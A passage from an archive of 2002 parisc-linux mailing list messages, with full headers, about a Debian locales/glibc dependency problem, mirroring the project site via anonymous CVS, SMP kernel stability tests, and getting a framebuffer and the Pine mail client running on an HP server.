Date: Sat, 13 Jul 2002 17:57:40 -0400
Lines: 30
Approved: news@gmane.org
Message-ID: <NGBBJKHCMLEJELIEEHNOCEDPCAAA.falden@comcast.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416621502 10442 80.91.229.3 (22 Nov 2014 01:58:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:22 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 13 15:59:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp.comcast.net (smtp.comcast.net [24.153.64.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 67B724830
	for <parisc-linux@parisc-linux.org>; Sat, 13 Jul 2002 15:59:38 -0600 (MDT)
Original-Received: from haydn (pcp357875pcs.elictc01.md.comcast.net [68.55.155.46])
 by mtaout03.icomcast.net
 (iPlanet Messaging Server 5.1 HotFix 0.8 (built May 13 2002))
 with SMTP id <0GZ7001H8JRDQ7@mtaout03.icomcast.net> for
 parisc-linux@parisc-linux.org; Sat, 13 Jul 2002 17:59:37 -0400 (EDT)
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-Priority: 3 (Normal)
X-MSMail-priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15436

hi,

For the last two days I've been told by apt-get upgrade that the locales
package has been held back. Today I decided to try apt-get install
locales with this result:

puccini:~# apt-get install locales
Reading Package Lists... Done
Building Dependency Tree... Done
Some packages could not be installed. This may mean that you have
requested an impossible situation or if you are using the unstable
distribution that some required packages have not yet been created
or been moved out of Incoming.

Since you only requested a single operation it is extremely likely that
the package is simply not installable and a bug report against
that package should be filed.
The following information may help to resolve the situation:

Sorry, but the following packages have unmet dependencies:
  locales: Depends: glibc-2.2.5-8 but it is not installable
E: Sorry, broken packages

Any, idea how I can resolve the problem, or must I just be patient until
the broken glibc-2.2.5-8 is fixed?

Take care,
frank



From - Thu Nov 08 21:23:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: eddantes@wanadoo.fr
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] locales held back
Date: Sun, 14 Jul 2002 00:26:46 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <3D30A926.8020509@wanadoo.fr>
References: <NGBBJKHCMLEJELIEEHNOCEDPCAAA.falden@comcast.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621502 10454 80.91.229.3 (22 Nov 2014 01:58:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:22 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Frank Alden Smith <falden@comcast.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 13 16:24:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mel-rto6.wanadoo.fr (smtp-out-6.wanadoo.fr [193.252.19.25])
	by dsl2.external.hp.com (Postfix) with ESMTP id 18AB14834
	for <parisc-linux@parisc-linux.org>; Sat, 13 Jul 2002 16:24:18 -0600 (MDT)
Original-Received: from mel-rta8.wanadoo.fr (193.252.19.79) by mel-rto6.wanadoo.fr (6.5.007)
        id 3D18683700A25CEF; Sun, 14 Jul 2002 00:24:15 +0200
Original-Received: from wanadoo.fr (217.128.251.241) by mel-rta8.wanadoo.fr (6.5.007)
        id 3D2A78F600262748; Sun, 14 Jul 2002 00:24:15 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0rc2) Gecko/20020513 Netscape/7.0b1
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15437

Frank Alden Smith wrote:
> hi,
> 
> For the last two days I've been told by apt-get upgrade that the locales
> package has been held back. Today I decided to try apt-get install
> locales with this result:
> 
> puccini:~# apt-get install locales
> Reading Package Lists... Done
> Building Dependency Tree... Done
> Some packages could not be installed. This may mean that you have
> requested an impossible situation or if you are using the unstable
> distribution that some required packages have not yet been created
> or been moved out of Incoming.
> 
> Since you only requested a single operation it is extremely likely that
> the package is simply not installable and a bug report against
> that package should be filed.
> The following information may help to resolve the situation:
> 
> Sorry, but the following packages have unmet dependencies:
>   locales: Depends: glibc-2.2.5-8 but it is not installable
> E: Sorry, broken packages
> 
> Any, idea how I can resolve the problem, or must I just be patient until
> the broken glibc-2.2.5-8 is fixed?
> 
> Take care,
> frank


That's a pretty common situation in Debian Sid (unstable), especially 
between locales and glibc. I've seen it happen qui a lot of times, but 
it's just harmless.

This situation will end in a few days, just let time to package 
maintainers to do their job and release correcly compiled and packaged 
software.

/Dantes



From - Thu Nov 08 21:23:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: mirror of parisc-linux
Date: Sat, 13 Jul 2002 22:35:15 -0600
Lines: 41
Approved: news@gmane.org
Message-ID: <20020714043515.DEFB04832@dsl2.external.hp.com>
References: <20020713090726.99414482D@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621502 10462 80.91.229.3 (22 Nov 2014 01:58:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Stephan Trajkoff" <stephan@itp.bg>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jul 13 22:35:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id DEFB04832; Sat, 13 Jul 2002 22:35:15 -0600 (MDT)
In-Reply-To: Message from "Stephan Trajkoff" <stephan@itp.bg> 
   of "Sat, 13 Jul 2002 12:08:49 +0300." <20020713090726.99414482D@dsl2.external.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15438

"Stephan Trajkoff" wrote:
> Hello man,
> I want to make mirror of parisc-linux.org
> my HP working stable and I want to make this main server in the=20
> institute where I am working
> www.bio21.bas.bg
> I think to change AIX PowerPC with this HP 819/K210
> What to make to do mirror of parisc-linux.org?


(I typed the following in from memory; it's the same steps as
accessing kernel source in the "linux" repository).

cvs -d :pserver:anonymous@cvs.parisc-linux.org:/var/cvs login
cvs -d :pserver:anonymous@cvs.parisc-linux.org:/var/cvs co web
cd web
make ssi	(or make static)

See the web/Makefile for which ENV variables you can set to redirect
where the stuff gets installed. Thibaut (ESIEE) can help you
with this part.

> I have BIND9
> I want to have web address www.bg.parisc-linux.org.

I hope someone on the list can help you with this.
I don't maintain parisc-linux.org domain.

> After 2-3 weeks I want to make mirror of your FTP

ok.
Can someone tell me if rsync is enabled for ftp.parisc-linux.org:~ftp ?
I thought rsync of cvs.p-l.o was disabled for a while.

> I have 2mbit DSL modem with 256kpbs garanteed speed to world with=20
> burst 2mbit night and weekends

Cool!

grant


From - Thu Nov 08 21:23:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP (in)stability
Date: Sat, 13 Jul 2002 23:26:42 -0700 (PDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0207132314190.24206-100000@garibaldi.apptechsys.com>
References: <20020710053647.D282F4853@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621503 10465 80.91.229.3 (22 Nov 2014 01:58:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 14 00:26:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id CCE984837
	for <parisc-linux@lists.parisc-linux.org>; Sun, 14 Jul 2002 00:26:43 -0600 (MDT)
Original-Received: from garibaldi.apptechsys.com (ats164.apptechsys.com [207.14.35.164])
	by mail.apptechsys.com (Postfix) with ESMTP
	id 6C8687BC47; Sat, 13 Jul 2002 23:26:42 -0700 (PDT)
In-Reply-To: <20020710053647.D282F4853@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15439

On Tue, 9 Jul 2002, Grant Grundler wrote:

> The -pa52 kernel built 100+ kernels/modules successively until
> I stopped it on the a500-44. The same kernel on a500-6X (PA8700)
> crashes after 12 or so hours of building gcc bits. 

I tested -pa53 on smp on J5k building kernels (make -j4), built 115,
here's a sample start/stop time. 
Start: Sat Jul 13 19:23:25 PDT 2002 
End: Sat Jul 13 19:26:56 PDT 2002

It is just apt-get update and samba (so far) that kill it.  Just did a cvs
update, worked fine.  I wonder what it is about apt-get that kills it.  
Can someone else with a J5k test this?  Running a current 2.4.18 smp
kernel and running apt-get update.  

-- 
Why am I so soft in the middle when the rest of my life is so hard?
		-- Paul Simon



From - Thu Nov 08 21:23:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Stephan Trajkoff" <stephan@itp.bg>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] STI framebuffer and PINE
Date: Sun, 14 Jul 2002 09:52:30 +0300
Lines: 20
Approved: news@gmane.org
Message-ID: <20020714065104.DF333484C@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621503 10472 80.91.229.3 (22 Nov 2014 01:58:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:23 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 14 00:51:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.itp.bg (itp.solo.bg [212.72.196.10])
	by dsl2.external.hp.com (Postfix) with SMTP id DF333484C
	for <parisc-linux@lists.parisc-linux.org>; Sun, 14 Jul 2002 00:51:04 -0600 (MDT)
Original-Received: (qmail 23200 invoked from network); 14 Jul 2002 06:52:31 -0000
Original-Received: from softdnserror (HELO www.itp.bg) (httpd@212.72.204.1)
  by softdnserror with SMTP; 14 Jul 2002 06:52:31 -0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15440

STI GSC/PCI graphics driver version 0.9
STI word mode ROM at f0060000, hpa at f4000000
STI id 2b4ded6d-40a00499, conforms to spec rev. 8.04
STI device: HPA208LC1280
Console: switching to colour frame buffer device 160x64
fb0: stifb 1280x1024-8 frame buffer device, id: 2b4ded6d, mmio:=20
0xf4100000
I have this shit, can anyone help me to run XFREE in 15,16,24 or 32=20
bit color?
my HP is 819/K210
Another problem how I can run PINE?
I have downloaded with apt-get pine 4.44
./build lnx and ./build slx don't work
there is an error in PINE
before compiling pine, I did apt-get dist-upgrade

-->> FREE Perl CGI scripts add WEB ACCESS to your
-->> POP E-Mail accounts! Download today!! http://www.adjeweb.com



From - Thu Nov 08 21:23:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Stephan Trajkoff" <stephan@itp.bg>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] mirror of parisc-linux
Date: Sun, 14 Jul 2002 10:11:11 +0300
Lines: 8
Approved: news@gmane.org
Message-ID: <20020714070942.A0AC44839@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621503 10475 80.91.229.3 (22 Nov 2014 01:58:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:23 +0000 (UTC)
To: puffin@esiee.fr, parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 14 01:09:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.itp.bg (itp.solo.bg [212.72.196.10])
	by dsl2.external.hp.com (Postfix) with SMTP id A0AC44839
	for <parisc-linux@lists.parisc-linux.org>; Sun, 14 Jul 2002 01:09:42 -0600 (MDT)
Original-Received: (qmail 23480 invoked from network); 14 Jul 2002 07:11:12 -0000
Original-Received: from softdnserror (HELO www.itp.bg) (httpd@212.72.204.1)
  by softdnserror with SMTP; 14 Jul 2002 07:11:12 -0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15441

Hello,
tibaut help me with mirroring of this site parisc-linux.org
what I need to do?

-->> FREE Perl CGI scripts add WEB ACCESS to your
-->> POP E-Mail accounts! Download today!! http://www.adjeweb.com



From - Thu Nov 08 21:23:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] STI framebuffer and PINE
Date: Sun, 14 Jul 2002 10:12:41 +0200
Lines: 47
Approved: news@gmane.org
Message-ID: <20020714081241.GC14636@charite.de>
References: <20020714065104.DF333484C@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621503 10478 80.91.229.3 (22 Nov 2014 01:58:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:23 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 14 02:12:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6A21D483B
	for <parisc-linux@lists.parisc-linux.org>; Sun, 14 Jul 2002 02:12:43 -0600 (MDT)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP id 4353F15C00E
	for <parisc-linux@lists.parisc-linux.org>; Sun, 14 Jul 2002 10:12:41 +0200 (CEST)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id 21ABF633A8; Sun, 14 Jul 2002 10:12:41 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20020714065104.DF333484C@dsl2.external.hp.com>
User-Agent: Mutt/1.4i
X-message-flag: Outlook? Viral infections & bugs for the foreseeable future
X-Virus-Scanned: by AMaViS snapshot-20020531
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15442

On Sun, Jul 14, 2002 at 09:52:30AM +0300, Stephan Trajkoff wrote:

> STI GSC/PCI graphics driver version 0.9
> STI word mode ROM at f0060000, hpa at f4000000
> STI id 2b4ded6d-40a00499, conforms to spec rev. 8.04
> STI device: HPA208LC1280
> Console: switching to colour frame buffer device 160x64
> fb0: stifb 1280x1024-8 frame buffer device, id: 2b4ded6d, mmio: 
> 0xf4100000
> I have this shit, can anyone help me to run XFREE in 15,16,24 or 32 
> bit color?
> my HP is 819/K210

Are you sure the framebuffer can run at more colors?
I don't find this on http://docs.hp.com/hpux/hw/ !

> Another problem how I can run PINE?
> I have downloaded with apt-get pine 4.44

apt-get install pine

but pine is junk anyway. Try mutt.

> ./build lnx and ./build slx don't work

What is this?

> there is an error in PINE

Then report it using

reportbug pine

> before compiling pine, I did apt-get dist-upgrade

You compiled pine? I though you used apt-get?!

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
If JavaScript is walking alone late at night through a bad part of
town with a pocket full of $20 bills, ActiveX is dropping your
trousers in the middle of the yard of a maximum-security prison,
bending over, and yelling 'Come and get it, boys!' 



From - Thu Nov 08 21:23:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Stephan Trajkoff" <stephan@itp.bg>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Re: [parisc-linux] STI framebuffer and PINE
Date: Sun, 14 Jul 2002 12:17:46 +0300
Lines: 73
Approved: news@gmane.org
Message-ID: <20020714091619.B1E35483A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621504 10485 80.91.229.3 (22 Nov 2014 01:58:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ralf.Hildebrandt@charite.de
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 14 03:16:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.itp.bg (itp.solo.bg [212.72.196.10])
	by dsl2.external.hp.com (Postfix) with SMTP id B1E35483A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 14 Jul 2002 03:16:19 -0600 (MDT)
Original-Received: (qmail 25383 invoked from network); 14 Jul 2002 09:17:46 -0000
Original-Received: from softdnserror (HELO www.itp.bg) (httpd@212.72.204.1)
  by softdnserror with SMTP; 14 Jul 2002 09:17:46 -0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15443

I don't know if my STI can run more colours. I have no documentation=20
for my server
./build slx and ./build lnx is commands for compiling pine
before compiling PINE i did apt-get dist-upgrade
but again PINE package can't compile, only pico and pilot works, not=20
pine=20
PINE in hppa dist is only avalailable as source, not binary
my clients want pine, not mutt



-------- Original Message --------

=3D=3D> From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
=3D=3D> Date: Sun, 14 Jul 2002 10:12:41  0200

On Sun, Jul 14, 2002 at 09:52:30AM  0300, Stephan Trajkoff wrote:

> STI GSC/PCI graphics driver version 0.9 > STI word mode ROM at=20
f0060000, hpa at f4000000 > STI id 2b4ded6d-40a00499, conforms to
spec=20
rev. 8.04 > STI device: HPA208LC1280 > Console: switching to colour=20
frame buffer device 160x64 > fb0: stifb 1280x1024-8 frame buffer=20
device, id: 2b4ded6d, mmio: > 0xf4100000 > I have this shit, can=20
anyone help me to run XFREE in 15,16,24 or 32 > bit color? > my HP is=20
819/K210

Are you sure the framebuffer can run at more colors? I don't find
this=20
on http://docs.hp.com/hpux/hw/ !

> Another problem how I can run PINE? > I have downloaded with apt-get=20
pine 4.44

apt-get install pine

but pine is junk anyway. Try mutt.

> ./build lnx and ./build slx don't work

What is this?

> there is an error in PINE

Then report it using

reportbug pine

> before compiling pine, I did apt-get dist-upgrade

You compiled pine? I though you used apt-get?!

-- Ralf Hildebrandt (Im Auftrag des Referat V A)=20=20=20
Ralf.Hildebrandt@charite.de Charite Campus Virchow-Klinikum=20=20=20=20=20=
=20=20=20=20=20=20
      Tel.   49 (0)30-450 570-155 Referat V A - Kommunikationsnetze -=20
            Fax.   49 (0)30-450 570-916 If JavaScript is walking
alone=20
late at night through a bad part of town with a pocket full of $20=20
bills, ActiveX is dropping your trousers in the middle of the yard of=20
a maximum-security prison, bending over, and yelling 'Come and get
it,=20
boys!'=20

_______________________________________________ parisc-linux mailing=20
list parisc-linux@lists.parisc-linux.org=20
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux=20

-------------------------------------------------------------------
-->> Add WEB ACCESS to your POP email accounts with
-->> FREE Perl CGI scripts! Download today! http://www.adjeweb.com
-------------------------------------------------------------------


From - Thu Nov 08 21:23:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Martin Schulze <joey@infodrom.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Re: STI framebuffer and PINE
Date: Sun, 14 Jul 2002 11:39:53 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <20020714093953.GA7830@finlandia.infodrom.north.de>
References: <20020714091619.B1E35483A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
X-Trace: ger.gmane.org 1416621504 10486 80.91.229.3 (22 Nov 2014 01:58:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Stephan Trajkoff <stephan@itp.bg>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 14 03:47:22 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from luonnotar.infodrom.org (luonnotar.infodrom.org [195.124.48.78])
	by dsl2.external.hp.com (Postfix) with ESMTP id 46E66484E
	for <parisc-linux@lists.parisc-linux.org>; Sun, 14 Jul 2002 03:47:21 -0600 (MDT)
Original-Received: by luonnotar.infodrom.org (Postfix, from userid 10)
	id A3254366ABC; Sun, 14 Jul 2002 11:47:09 +0200 (CEST)
Original-Received: at Infodrom Oldenburg (/\##/\ Smail-3.2.0.102 1998-Aug-2 #2)
	from infodrom.org by finlandia.Infodrom.North.DE
	via smail from stdin
	id <m17Tfr8-000ohwC@finlandia.Infodrom.North.DE>
